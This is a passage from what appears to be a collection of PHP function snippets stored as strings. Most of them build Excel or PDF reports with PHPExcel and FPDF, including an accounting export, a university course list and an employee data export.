);\n\t\t\t\t\t$cell++;\n\t\t\t\t\t}\n\t\n\t\t\t\t}\n\t$workbook->close();\n\t}", "public function getGridHeadings() {\n return [ StringLiterals::GRIDHEADING => [ [ 'name' => trans ( 'cms::latestnews.title' ),StringLiterals::VALUE => 'name','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_creator' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_image' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.created_at' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.status' ),StringLiterals::VALUE => 'is_active','sort' => false ],[ 'name' => trans ( 'cms::latestnews.action' ),StringLiterals::VALUE => 'is_active','sort' => false ] ] ];\n }", "function RowHeadFoot($data) {\n $nb = 0;\n for ($i = 0; $i < count($data); $i++)\n $nb = max($nb, $this->NbLines($this->widths[$i], $data[$i]));\n $h = 5 * $nb;\n //Issue a page break first if needed\n $this->CheckPageBreak($h);\n //Draw the cells of the row\n for ($i = 0; $i < count($data); $i++) {\n $w = $this->widths[$i];\n $a = isset($this->aligns[$i]) ? $this->aligns[$i] : 'L';\n //Save the current position\n $x = $this->GetX();\n $y = $this->GetY();\n //Draw the border\n $this->Rect($x, $y, $w, $h);\n //Print the text\n $this->SetFont('Arial', 'B', 7);\n $this->SetFillColor(203, 203, 203);\n $this->MultiCell($w, 5, $data[$i], 1, $a, true);\n //Put the position to the right of the cell\n $this->SetXY($x + $w, $y);\n }\n //Go to the next line\n $this->Ln($h);\n }", "public function action_export_obic(){\n\t\t$objPHPExcel = new \\PHPExcel();\n\t\t//add header\n $header = [\n '会社NO', '伝票番号', '発生日', 'システム分類', 'サイト番号', '仕訳区分', '伝票区分', '事業所コード', '行番号', '借方総勘定科目コード',\n '借方補助科目コード', '借方補助内訳科目コード', '借方部門コード', '借方取引先コード', '借方税区分', '借方税込区分',\n '借方金額', '借方消費税額', '借方消費税本体科目コード', '借方分析コード1', '借方分析コード2', '借方分析コード3', '借方分析コード4', '借方分析コード5',\n '借方資金コード', '借方プロジェクトコード', '貸方総勘定科目コード', '貸方補助科目コード', '貸方補助内訳科目コード', '貸方部門コード',\n '貸方取引先コード', '貸方税区分', '貸方税込区分', '貸方金額', '貸方消費税額', '貸方消費税本体科目コード',\n '貸方分析コード1', '貸方分析コード2', '貸方分析コード3', '貸方分析コード4', '貸方分析コード5', '貸方資金コード',\n '貸方プロジェクトコード', '明細摘要', '伝票摘要', 'ユーザID', '借方事業所コード', '貸方事業所コード'\n ];\n\n $objPHPExcel->getProperties()->setCreator('VisionVietnam')\n ->setLastModifiedBy('Phong Phu')\n ->setTitle('Office 2007 Document')\n ->setSubject('Office 2007 Document')\n ->setDescription('Document has been generated by PHP')\n ->setKeywords('Office 2007 openxml php')\n ->setCategory('OBIC File');\n $last_column = null;\n $explicit = [7,8,10,11,12,13,15,16,27,28,29,30,32];\n\n foreach($header as $i=>$v){\n\t\t\t$column = \\PHPExcel_Cell::stringFromColumnIndex($i);\n\t\t\t$objPHPExcel->setActiveSheetIndex(0)->setCellValue($column.'1',$v);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($column.'1')\n\t\t\t\t\t\t->applyFromArray([\n\t\t\t\t\t\t 'font' => [\n\t\t\t\t\t\t 'name' => 'Times New Roman',\n\t\t\t\t\t\t 'bold' => true,\n\t\t\t\t\t\t 'italic' => false,\n\t\t\t\t\t\t 'size' => 10,\n\t\t\t\t\t\t 'color' => ['rgb'=> \\PHPExcel_Style_Color::COLOR_WHITE]\n\t\t\t\t\t\t ],\n\t\t\t\t\t\t 'alignment' => [\n\t\t\t\t\t\t 'horizontal' => \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\n\t\t\t\t\t\t 'vertical' => \\PHPExcel_Style_Alignment::VERTICAL_CENTER,\n\t\t\t\t\t\t 'wrap' => false\n\t\t\t\t\t\t ]\n\t\t\t\t\t\t]);\n switch($i+1){\n case 4:\n case 15:\n case 16:\n case 18:\n $width = 20;\n break;\n case 13:\n case 14:\n case 20:\n case 21:\n case 22:\n case 23:\n case 24:\n case 25:\n case 30:\n case 31:\n $width = 25;\n break;\n case 10:\n case 11:\n case 12:\n case 19:\n case 26:\n case 27:\n case 28:\n $width = 30;\n break;\n case 29:\n case 44:\n case 45:\n $width = 40;\n break;\n default:\n $width = 15;\n break;\n }\n $objPHPExcel->getActiveSheet()->getColumnDimension($column)->setWidth($width);\n $last_column = $column;\n }\n //decode params\n $param = \\Input::param();\n parse_str(base64_decode($param['p']), $params);\n //get form payment content\n $rows = $this->generate_content($params);\n $i = 0;\n foreach($rows as $row){\n\t\t\tforeach($row as $k=>$v){\n\t\t\t\t$column = \\PHPExcel_Cell::stringFromColumnIndex($k);\n\t\t\t\tif(in_array($k+1,$explicit)){\n\t\t\t\t\t$objPHPExcel->setActiveSheetIndex()->setCellValueExplicit($column.($i+2),$v,\\PHPExcel_Cell_DataType::TYPE_STRING);\n\t\t\t\t}else{\n\t\t\t\t\t$objPHPExcel->setActiveSheetIndex()->setCellValue($column.($i+2),$v);\n\t\t\t\t}\n\t\t\t}\n\t\t\t$i++;\n\t\t}\n\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A1:'.$last_column.'1')->getFill()->setFillType(\\PHPExcel_Style_Fill::FILL_SOLID);\n $objPHPExcel->getActiveSheet()->getStyle('A1:'.$last_column.'1')->getFill()->getStartColor()->setRGB('5f5f5f');\n\n\t\t$objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n\t\tob_end_clean();\n\n\t\theader(\"Last-Modified: \". gmdate(\"D, d M Y H:i:s\") .\" GMT\");\n header(\"Cache-Control: max-age=0\");\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"obic-'.date('Y-m-d').'.xls\"');\n $objWriter->save('php://output');\n\t\texit;\n }", "function generateTitle($header, $data)\n\t{\n\t\t$this->SetFillColor(63,73,204);\n\t\t$this->SetTextColor(255);\n\t\t$this->SetDrawColor(18,0,0);\n\t\t$this->SetLineWidth(.1);\n\t\t$this->SetFont('','B');\n\t\t// Header\n\t\t$w = array(70, 25, 30, 20,30,35,25);\n\t\tfor($i=0;$i<count($header);$i++)\n\t\t\t$this->Cell($w[$i],7,$header[$i],1,0,'C',true);\n\t\t$this->Ln();\n\t\t// Color and font restoration\n\t\t$this->SetFillColor(224,235,255);\n\t\t$this->SetTextColor(0);\n\t\t$this->SetFont('');\n\t\t// Data\n\t\t$fill = false;\n\t\tforeach($data as $row)\n\t\t{\n\t\t\t$this->Cell($w[0],6,$row[0],'LR',0,'L',$fill);\n/*\t\t\t$this->Cell($w[1],6,$row[1],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[2],6,$row[2],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[3],6,$row[3],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[4],6,$row[4],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[5],6,$row[5],'LR',0,'C',$fill);*/\n\t\t\t$this->Ln();\n\t\t\t$fill = !$fill;\n\t\t}\n\t\t// Closing line\n\t\t$this->Cell(array_sum($w),0,'','T');\n\t}", "public function get()\r\n\t{\r\n\t\t$objPHPExcel = new PHPExcel();\r\n\r\n\t\t$worksheet = $objPHPExcel->createSheet(0);\r\n\r\n\t for ($cell='A'; $cell <= 'G'; $cell++)\r\n\t {\r\n\t $worksheet->getStyle($cell.'1')->getFont()->setBold(true);\r\n\t }\r\n\r\n\t $worksheet->getStyle('A1:G1')->applyFromArray(\r\n\t \tarray(\r\n\t\t 'alignment' => array(\r\n\t\t 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\r\n\t\t ),\r\n\t\t 'borders' => array(\r\n\t\t 'allborders' => array(\r\n\t\t 'style' => PHPExcel_Style_Border::BORDER_THIN,\r\n\t\t 'color' => array('rgb' => '000000')\r\n\t\t )\r\n\t\t ),\r\n\t\t 'fill' => array(\r\n\t\t 'type' => PHPExcel_Style_Fill::FILL_SOLID,\r\n\t\t 'color' => array('rgb' => 'F2F2F2')\r\n\t\t )\r\n\t \t)\r\n\t );\r\n\r\n\t\t// Header dokumen\r\n\t\t $worksheet->setCellValue('A1', 'NO.')\r\n\t\t \t\t ->setCellValue('B1', 'Kode MK')\r\n\t\t \t\t ->setCellValue('C1', 'Mata Kuliah')\r\n\t\t \t\t ->setCellValue('D1', 'Mata Kuliah (Asing)')\r\n\t\t \t\t ->setCellValue('E1', 'Jumlah SKS')\r\n\t\t \t\t ->setCellValue('F1', 'Semester')\r\n\t\t \t\t ->setCellValue('G1', 'Konsentrasi');\r\n\r\n\t\t$this->db->join('concentration', 'course.concentration_id = concentration.concentration_id', 'left');\r\n\t\t$row_cell = 2;\r\n\t\tforeach($this->db->get('course')->result() as $key => $value)\r\n\t\t{\r\n\t\t\t $worksheet->setCellValue('A'.$row_cell, ++$key)\r\n\t\t\t \t\t ->setCellValue('B'.$row_cell, $value->course_code)\r\n\t\t\t \t\t ->setCellValue('C'.$row_cell, $value->course_name)\r\n\t\t\t \t\t ->setCellValue('D'.$row_cell, $value->course_name_english)\r\n\t\t\t \t\t ->setCellValue('E'.$row_cell, $value->sks)\r\n\t\t\t \t\t ->setCellValue('F'.$row_cell, ucfirst($value->semester))\r\n\t\t\t \t\t ->setCellValue('G'.$row_cell, $value->concentration_name);\r\n\t\t\t$row_cell++;\r\n\t\t}\r\n\r\n\t\t// Sheet Title\r\n\t\t$worksheet->setTitle(\"DATA MATA KULIAH\");\r\n\r\n\t\t$objPHPExcel->setActiveSheetIndex(0);\r\n\r\n $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\r\n header(\"Last-Modified: \" . gmdate(\"D, d M Y H:i:s\") . \" GMT\");\r\n header(\"Cache-Control: no-store, no-cache, must-revalidate\");\r\n header(\"Cache-Control: post-check=0, pre-check=0\", false);\r\n header(\"Pragma: no-cache\");\r\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\\\r\n header('Content-Disposition: attachment; filename=\"DATA-MATA-KULIAH.xlsx\"');\r\n $objWriter->save(\"php://output\");\r\n\t}", "function Header()\n\t{\n\t\t$this->SetFont('Arial','',12);\n\t\t$this->MultiCell(190,5,nombre_empresa(),'0','C');\n\t\t$this->SetFont('Arial','',10);\n\t\t$this->MultiCell(190,5,tipo_serv(),'0','C');\n\t\t$this->SetFont('Arial','B',10);\n\t\t$this->SetTextColor(0,0,0);\n\t\t$this->MultiCell(190,7,strtoupper(_('listado de clientes para cortes')),'0','C');\n\t\t$this->SetFont('Arial','B',8);\n\t\t$this->SetX(133);\n\t\t$this->Cell(12,5,strtoupper(_('fecha')).': ',0,0,'L');\n\t\t$this->SetFont('Arial','',8);\n\t\t$this->Cell(18,5,date(\"d/m/Y\"),0,0,'L');\n\t\t$this->SetFont('Arial','B',8);\n\t\t$this->Cell(12,5,strtoupper(_('hora')).': ',0,0,'L');\n\t\t$this->SetFont('Arial','',8);\n\t\t$this->Cell(18,5,date(\"h:i:s A\"),0,0,'L');\n\t\t$this->Ln();\t\t\n\t}", "public function export()\n {\n include APPPATH . 'third_party/PHPExcel.php';\n\n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n\n date_default_timezone_set('Asia/Jakarta');\n $date = date(\"mY\");\n\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('Admin PTPN VIII (' .$this->session->userdata('status_login'). ')')\n ->setLastModifiedBy('Admin PTPN VIII (' .$this->session->userdata('status_login'). ')')\n ->setTitle(\"Data A1\" .$date)\n ->setSubject(\"A1\" .$date)\n ->setDescription(\"Laporan Data A1\" .$date)\n ->setKeywords(\"Data A1\" .$date);\n\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n // Buat header tabel nya pada baris ke 1\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"NPP\");\n $excel->setActiveSheetIndex(0)->setCellValue('B1', \"NAMA\");\n $excel->setActiveSheetIndex(0)->setCellValue('C1', \"NM_PGL\");\n $excel->setActiveSheetIndex(0)->setCellValue('D1', \"GLR_DPN\");\n $excel->setActiveSheetIndex(0)->setCellValue('E1', \"GLR_BLK\");\n $excel->setActiveSheetIndex(0)->setCellValue('F1', \"TPT_LAHIR\");\n $excel->setActiveSheetIndex(0)->setCellValue('G1', \"TGL_LAHIR\");\n $excel->setActiveSheetIndex(0)->setCellValue('H1', \"KELAMIN\");\n $excel->setActiveSheetIndex(0)->setCellValue('I1', \"GOL_DARAH\");\n $excel->setActiveSheetIndex(0)->setCellValue('J1', \"AGAMA\");\n $excel->setActiveSheetIndex(0)->setCellValue('K1', \"ALAMAT\");\n $excel->setActiveSheetIndex(0)->setCellValue('L1', \"KOTA\");\n $excel->setActiveSheetIndex(0)->setCellValue('M1', \"TINGGAL\");\n $excel->setActiveSheetIndex(0)->setCellValue('N1', \"SIPIL\");\n $excel->setActiveSheetIndex(0)->setCellValue('O1', \"STAT_IS\");\n $excel->setActiveSheetIndex(0)->setCellValue('P1', \"TGL_NIKAH\");\n $excel->setActiveSheetIndex(0)->setCellValue('Q1', \"TGL_CERAI\");\n $excel->setActiveSheetIndex(0)->setCellValue('R1', \"KANDUNG\");\n $excel->setActiveSheetIndex(0)->setCellValue('S1', \"ANGKAT\");\n $excel->setActiveSheetIndex(0)->setCellValue('T1', \"TANGGUNG\");\n $excel->setActiveSheetIndex(0)->setCellValue('U1', \"TGL_PPH\");\n $excel->setActiveSheetIndex(0)->setCellValue('V1', \"KD_PEND\");\n $excel->setActiveSheetIndex(0)->setCellValue('W1', \"TGL_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('X1', \"NO_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('Y1', \"KD_KELAS\");\n $excel->setActiveSheetIndex(0)->setCellValue('Z1', \"KLS_TMT\");\n $excel->setActiveSheetIndex(0)->setCellValue('AA1', \"KLS_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AB1', \"GOL\");\n $excel->setActiveSheetIndex(0)->setCellValue('AC1', \"MK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AD1', \"GOL_TMT\");\n $excel->setActiveSheetIndex(0)->setCellValue('AE1', \"GOL_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AF1', \"GPO\");\n $excel->setActiveSheetIndex(0)->setCellValue('AG1', \"KD_KBN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AH1', \"KD_ADF\");\n $excel->setActiveSheetIndex(0)->setCellValue('AI1', \"KD_JAB\");\n $excel->setActiveSheetIndex(0)->setCellValue('AJ1', \"NAMA_JAB\");\n $excel->setActiveSheetIndex(0)->setCellValue('AK1', \"KD_BUD\");\n $excel->setActiveSheetIndex(0)->setCellValue('AL1', \"JAB_TMT\");\n $excel->setActiveSheetIndex(0)->setCellValue('AM1', \"JAB_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AN1', \"JAB_TGL\");\n $excel->setActiveSheetIndex(0)->setCellValue('AO1', \"ASTEK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AP1', \"TASPEN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AQ1', \"NO_KK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AR1', \"NO_NIK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AS1', \"NO_BPJS\");\n $excel->setActiveSheetIndex(0)->setCellValue('AT1', \"TGL_MPP\");\n $excel->setActiveSheetIndex(0)->setCellValue('AU1', \"TGL_PEN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AV1', \"MKTHN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AW1', \"MKBLN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AX1', \"MKHR\");\n $excel->setActiveSheetIndex(0)->setCellValue('AY1', \"MPP\");\n $excel->setActiveSheetIndex(0)->setCellValue('AZ1', \"STAT_REC\");\n\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n $excel->getActiveSheet()->getStyle('A1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('B1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('C1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('D1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('E1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('F1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('G1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('H1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('I1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('J1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('K1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('L1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('M1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('N1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('O1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('P1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_DATE_DDMMYYYY);\n $excel->getActiveSheet()->getStyle('Q1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_DATE_DDMMYYYY);\n $excel->getActiveSheet()->getStyle('R1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('S1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('T1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('U1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('V1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('W1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('X1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Y1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Z1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AA1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AB1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AC1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AD1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AE1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AF1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AG1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AH1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AI1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AJ1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AK1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AL1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AM1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AN1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AO1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AP1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AQ1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AR1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AS1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AT1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AU1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AV1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AW1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AX1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AY1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AZ1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n\n // Menampilkan semua data dari tabel rekao A1\n $numrow = 2; // Set baris pertama untuk isi tabel adalah baris ke 2\n $sdm01 = $this->Model_admin->tampil_a1();\n foreach ($sdm01->result_array() as $i) { // Lakukan looping pada variabel siswa\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('A' . $numrow, $i['npp'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValue('B' . $numrow, $i['nama']);\n $excel->setActiveSheetIndex(0)->setCellValue('C' . $numrow, $i['nm_pgl']);\n $excel->setActiveSheetIndex(0)->setCellValue('D' . $numrow, $i['glr_dpn']);\n $excel->setActiveSheetIndex(0)->setCellValue('E' . $numrow, $i['glr_blk']);\n $excel->setActiveSheetIndex(0)->setCellValue('F' . $numrow, $i['kota_lhr']);\n $excel->setActiveSheetIndex(0)->setCellValue('G' . $numrow, date('d-m-Y', strtotime($i['tgl_lhr'])));\n $excel->setActiveSheetIndex(0)->setCellValue('H' . $numrow, $i['j_kelamin']);\n $excel->setActiveSheetIndex(0)->setCellValue('I' . $numrow, $i['gol_darah']);\n $excel->setActiveSheetIndex(0)->setCellValue('J' . $numrow, $i['agama']);\n $excel->setActiveSheetIndex(0)->setCellValue('K' . $numrow, $i['alamat_tgl']);\n $excel->setActiveSheetIndex(0)->setCellValue('L' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('M' . $numrow, '1');\n $excel->setActiveSheetIndex(0)->setCellValue('N' . $numrow, $i['st_sipil']);\n\n $sdm02 = $this->Model_admin->get_sdm02_a1($i['npp']);\n foreach ($sdm02 as $a) {\n\n $excel->setActiveSheetIndex(0)->setCellValue('O' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('P' . $numrow, date('d-m-Y', strtotime($a['tgl_nkh'])));\n $excel->setActiveSheetIndex(0)->setCellValue('Q' . $numrow, date('d-m-Y', strtotime($a['tgl_cerai'])));\n }\n\n $sdm02 = $this->Model_admin->get_sdm02_a1_anak($i['npp']);\n foreach ($sdm02 as $b) {\n $excel->setActiveSheetIndex(0)->setCellValue('R' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('S' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('T' . $numrow, $b['tanggungan']);\n $excel->setActiveSheetIndex(0)->setCellValue('U' . $numrow, '');\n }\n\n $sdm03 = $this->Model_admin->get_sdm03_a1($i['npp']);\n foreach ($sdm03 as $c) {\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('V' . $numrow, $c['kd_pend'], PHPExcel_Cell_DataType::TYPE_STRING);\n }\n\n $excel->setActiveSheetIndex(0)->setCellValue('W' . $numrow, date('d-m-Y', strtotime($i['tgl_masuk'])));\n\n $sdm08 = $this->Model_admin->get_sdm08_a1($i['npp']);\n foreach ($sdm08 as $d) {\n\n $excel->setActiveSheetIndex(0)->setCellValue('X' . $numrow, $d['no_sk']);\n }\n\n $sdm16 = $this->Model_admin->get_sdm16_a1($i['npp']);\n foreach ($sdm16 as $e) {\n $excel->setActiveSheetIndex(0)->setCellValue('Y' . $numrow, $e['kd_kelas']);\n $excel->setActiveSheetIndex(0)->setCellValue('Z' . $numrow, date('d-m-Y', strtotime($e['kls_tmt'])));\n $excel->setActiveSheetIndex(0)->setCellValue('AA' . $numrow, $e['kls_sk']);\n }\n\n $sdm16 = $this->Model_admin->get_sdm16_a1_akhir($i['npp']);\n foreach ($sdm16 as $a) {\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AB' . $numrow, $a['golongan'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AC' . $numrow, $a['mk'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValue('AD' . $numrow, date('d-m-Y', strtotime($a['gol_tmt'])));\n 